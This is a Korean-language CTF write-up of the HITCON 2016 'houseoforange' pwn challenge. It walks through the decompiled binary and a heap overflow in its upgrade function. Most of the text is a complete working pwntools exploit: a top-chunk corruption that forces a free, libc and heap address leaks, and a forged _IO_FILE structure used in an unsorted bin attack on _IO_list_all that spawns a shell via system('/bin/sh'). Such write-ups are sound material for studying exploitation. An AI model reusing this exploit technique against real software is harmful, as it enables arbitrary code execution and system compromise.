-
houseoforange - HITCON 2016Write-ups/CTFs 2020. 2. 27. 18:49
Prob Info
Checksec 모든 보호기법이 걸려있다. 또한 이름에서 알 수 있듯이 House of Orange 문제이다.
Code
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { signed int v3; // eax setup(); while ( 1 ) { while ( 1 ) { menu(); v3 = read_long(); if ( v3 != 2 ) break; see_house(); } if ( v3 > 2 ) { if ( v3 == 3 ) { upgrade_house(); } else { if ( v3 == 4 ) { puts("give up"); exit(0); } LABEL_14: puts("Invalid choice"); } } else { if ( v3 != 1 ) goto LABEL_14; build_house(); } } }
문제 바이너리가 스트립되어있어 함수 이름을 변경해주었다. 메뉴는 3가지이며 build_house, see_house, upgrade_house가 있다.
int build_house() { unsigned int size; // [rsp+8h] [rbp-18h] signed int color; // [rsp+Ch] [rbp-14h] HOUSE *v3; // [rsp+10h] [rbp-10h] HOUSE_INFO *v4; // [rsp+18h] [rbp-8h] if ( count > 3u ) { puts("Too many house"); exit(1); } v3 = (HOUSE *)malloc(0x10uLL); printf("Length of name :"); size = read_long(); if ( size > 0x1000 ) size = 4096; v3->name = (char *)malloc(size); if ( !v3->name ) { puts("Malloc error !!!"); exit(1); } printf("Name :"); read_data(v3->name, size); v4 = (HOUSE_INFO *)calloc(1uLL, 8uLL); printf("Price of Orange:", 8LL); v4->price = read_long(); print_color(); printf("Color of Orange:"); color = read_long(); if ( color != 56746 && (color <= 0 || color > 7) ) { puts("No such color"); exit(1); } if ( color == 56746 ) v4->color = 56746; else v4->color = color + 30; v3->info = v4; house = &v3->info; ++count; return puts("Finish"); }
집은 최대 4번 만들 수 있고 마지막 만든 집만 전역변수에서 관리한다.
이 코드를 보고 구조체를 두개 만들었다.
struct HOUSE_INFO { int price; int color; }; struct HOUSE { HOUSE_INFO *info; char *name; };
여기서 HOUSE_INFO는 신경 쓸 필요 없고 name에 최대 0x1000바이트까지 입력을 받을 수 있다.
int see_house() { int v0; // eax int result; // eax int v2; // eax if ( !house ) return puts("No such house !"); if ( house->info->color == 56746 ) { printf("Name of house : %s\n", house->name); printf("Price of orange : %d\n", house->info->price); v0 = rand(); result = printf("\x1B[01;38;5;214m%s\x1B[0m\n", qword_203080[v0 % 8]); } else { if ( house->info->color <= 30 || house->info->color > 37 ) { puts("Color corruption!"); exit(1); } printf("Name of house : %s\n", house->name); printf("Price of orange : %d\n", house->info->price); v2 = rand(); result = printf("\x1B[%dm%s\x1B[0m\n", (unsigned int)house->info->color, qword_203080[v2 % 8]); } return result; }
see_house는 info와 name을 출력해준다.
int upgrade_house() { HOUSE_INFO *v1; // rbx unsigned int v2; // [rsp+8h] [rbp-18h] signed int v3; // [rsp+Ch] [rbp-14h] if ( upgrade_count > 2u ) return puts("You can't upgrade more"); if ( !house ) return puts("No such house !"); printf("Length of name :"); v2 = read_long(); if ( v2 > 0x1000 ) v2 = 0x1000; printf("Name:"); read_data(house->name, v2); printf("Price of Orange: ", v2); v1 = house->info; v1->price = read_long(); print_color(); printf("Color of Orange: "); v3 = read_long(); if ( v3 != 56746 && (v3 <= 0 || v3 > 7) ) { puts("No such color"); exit(1); } if ( v3 == 56746 ) house->info->color = 56746; else house->info->color = v3 + 30; ++upgrade_count; return puts("Finish"); }
upgrade_house는 최대 3번 실행할 수 있다. 그런데 여기서 원래 힙의 사이즈를 확인하지 않고 최대 0x1000바이트까지 입력을 받아 오버플로우가 일어난다. 이를 이용해 libc/heap leak을 하고 house of orange를 진행하면 된다.
먼저 바이너리 내부에서 free를 할 수 없으니 탑청크를 덮어 강제로 free 시켜야한다. 대충 400만큼의 길이로 house를 만들면 힙의 구조는 아래처럼 된다.
탑청크의 크기를 페이지 정렬을 하며 줄이고 (0xe21) 이보다 더 큰 사이즈의 힙을 요청하면 탑청크가 free되어 unsorted bin에 들어갈 것이다.
build(400, 'a'*0x10, 1, 1) payload = 'a'*0x190 payload += p64(0) + p64(0x21) payload += p32(1) + p32(1) + p64(0) payload += p64(0) + p64(0xe21) upgrade(0x300, payload, 1, 1) build(0x1000, 'b'*0x10, 1, 1)
여기까지 진행하면 원래 탑청크가 free되어 unsorted bin에 들어가 있고 새로 생성한 0x1000바이트의 힙이 매우 높은 주소에 잡힐 것이다.
이후 heap/libc leak을 해야하는데, 이는 large bin을 이용해서 가능하다. unsorted bin의 큰 청크에서 large bin 사이즈의 청크를 분리해서 할당해 줄 때 한번 분리를 하고 large chunk의 특징인 fd_nextsize, bk_nextsize를 세팅해서 반환한다. 현재 large bin에 다른 청크가 등록되어있지 않으므로 이 fd_nextsize, bk_nextsize에 자기 자신의 주소가 적힌다.
이를 see_house로 한번 leak을 하고 upgrade_house를 이용해 0x10바이트를 덮고 다시 see_house로 heap leak을 시키면 된다. 여기까지의 익스 코드는 아래와 같다.
build(400, 'a'*0x10, 1, 1) payload = 'a'*0x190 payload += p64(0) + p64(0x21) payload += p32(1) + p32(1) + p64(0) payload += p64(0) + p64(0xe21) upgrade(0x300, payload, 1, 1) build(0x1000, 'b'*0x10, 1, 1) gdb.attach(p) build(1024, 'c'*8, 1, 1) see() p.recvuntil('c'*8) libc = u64(p.recvuntil('\x7f')+'\x00\x00') - 1624 + 88 log.info('leaked main_arena + 88: ' + hex(libc)) libc_base = libc - main_arena_offset - 88 log.info('leaked libc: ' + hex(libc_base)) io_list_all = libc + 0x9a8 log.info('leaked io_list_all: ' + hex(io_list_all)) libc_system = libc_base + system_offset log.info('leaked system: ' + hex(libc_system)) upgrade(0x10, 'c'*8 + 'd'*8, 1, 1) see() p.recvuntil('d'*8) heap = p.recvuntil('\nPrice').split('\n')[0] heap = u64(heap + (8 - len(heap))*'\x00') log.info('leaked heap: ' + hex(heap)) old_top = heap + 0x430 log.info('old top: ' + hex(old_top))
구한 값을 오프셋을 구해 실제 주소들을 계산한다.
이제 house of orange를 위해 이전 탑청크에 fake _IO_FILE_plus를 만들고 함께 unsorted bin attack을 준비한다.
payload = 'a'*(0x400 + 0x20) payload += '/bin/sh\x00' + p64(0x61) payload += p64(libc) + p64(io_list_all-0x10) # unsorted bin attack payload += p64(2) + p64(3) # top + 0x20 payload += p64(0) * 2 # top + 0x30 payload += p64(0) * 2 # top + 0x40 payload += p64(0) * 2 # top + 0x50 payload += p64(0) * 2 # top + 0x60 payload += p64(0) + p64(libc_system) # top + 0x70 payload += p64(0) * 2 # top + 0x80 payload += p64(0) * 2 # top + 0x90 payload += p64(0) * 2 # top + 0xa0 payload += p64(0) * 2 # top + 0xb0 payload += p64(0) * 2 # top + 0xc0 payload += p64(0) + p64(old_top + 0x60) # top + 0xd0 upgrade(0x1000, payload, 1, 1)
이렇게 업그레이드를 하고 build_house 함수에서 malloc(0x10)을 하면 쉘을 딸 수 있다.
#!/usr/bin/python from pwn import * #context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] p = process('./houseoforange_hitcon') lib = ELF('/lib/x86_64-linux-gnu/libc.so.6') system_offset = lib.symbols['system'] main_arena_offset = 0x3c4b20 def build(size, name, price, color): p.sendlineafter(' : ', '1') p.sendlineafter('name :', str(size)) p.sendafter('Name :', name) p.sendlineafter('Price of Orange:', str(price)) p.sendlineafter('Color of Orange:', str(price)) def see(): p.sendlineafter(' : ', '2') def upgrade(size, name, price, color): p.sendlineafter(' : ', '3') p.sendlineafter('name :', str(size)) p.sendafter('Name:', name) p.sendlineafter('Price of Orange:', str(price)) p.sendlineafter('Color of Orange:', str(price)) build(400, 'a'*0x10, 1, 1) payload = 'a'*0x190 payload += p64(0) + p64(0x21) payload += p32(1) + p32(1) + p64(0) payload += p64(0) + p64(0xe21) upgrade(0x300, payload, 1, 1) build(0x1000, 'b'*0x10, 1, 1) build(1024, 'c'*8, 1, 1) see() p.recvuntil('c'*8) libc = u64(p.recvuntil('\x7f')+'\x00\x00') - 1624 + 88 log.info('leaked main_arena + 88: ' + hex(libc)) libc_base = libc - main_arena_offset - 88 log.info('leaked libc: ' + hex(libc_base)) io_list_all = libc + 0x9a8 log.info('leaked io_list_all: ' + hex(io_list_all)) libc_system = libc_base + system_offset log.info('leaked system: ' + hex(libc_system)) upgrade(0x10, 'c'*8 + 'd'*8, 1, 1) see() p.recvuntil('d'*8) heap = p.recvuntil('\nPrice').split('\n')[0] heap = u64(heap + (8 - len(heap))*'\x00') log.info('leaked heap: ' + hex(heap)) old_top = heap + 0x430 log.info('old top: ' + hex(old_top)) payload = 'a'*(0x400 + 0x20) payload += '/bin/sh\x00' + p64(0x61) payload += p64(libc) + p64(io_list_all-0x10) # unsorted bin attack payload += p64(2) + p64(3) # top + 0x20 payload += p64(0) * 2 # top + 0x30 payload += p64(0) * 2 # top + 0x40 payload += p64(0) * 2 # top + 0x50 payload += p64(0) * 2 # top + 0x60 payload += p64(0) + p64(libc_system) # top + 0x70 payload += p64(0) * 2 # top + 0x80 payload += p64(0) * 2 # top + 0x90 payload += p64(0) * 2 # top + 0xa0 payload += p64(0) * 2 # top + 0xb0 payload += p64(0) * 2 # top + 0xc0 payload += p64(0) + p64(old_top + 0x60) # top + 0xd0 upgrade(0x1000, payload, 1, 1) p.sendlineafter(' : ', '1') #gdb.attach(p, 'b *abort') p.interactive()
'Write-ups > CTFs' 카테고리의 다른 글
feedme - DEFCON 2016 (0) 2020.03.01 speedrun-009 - DEFCON 27 (0) 2020.02.22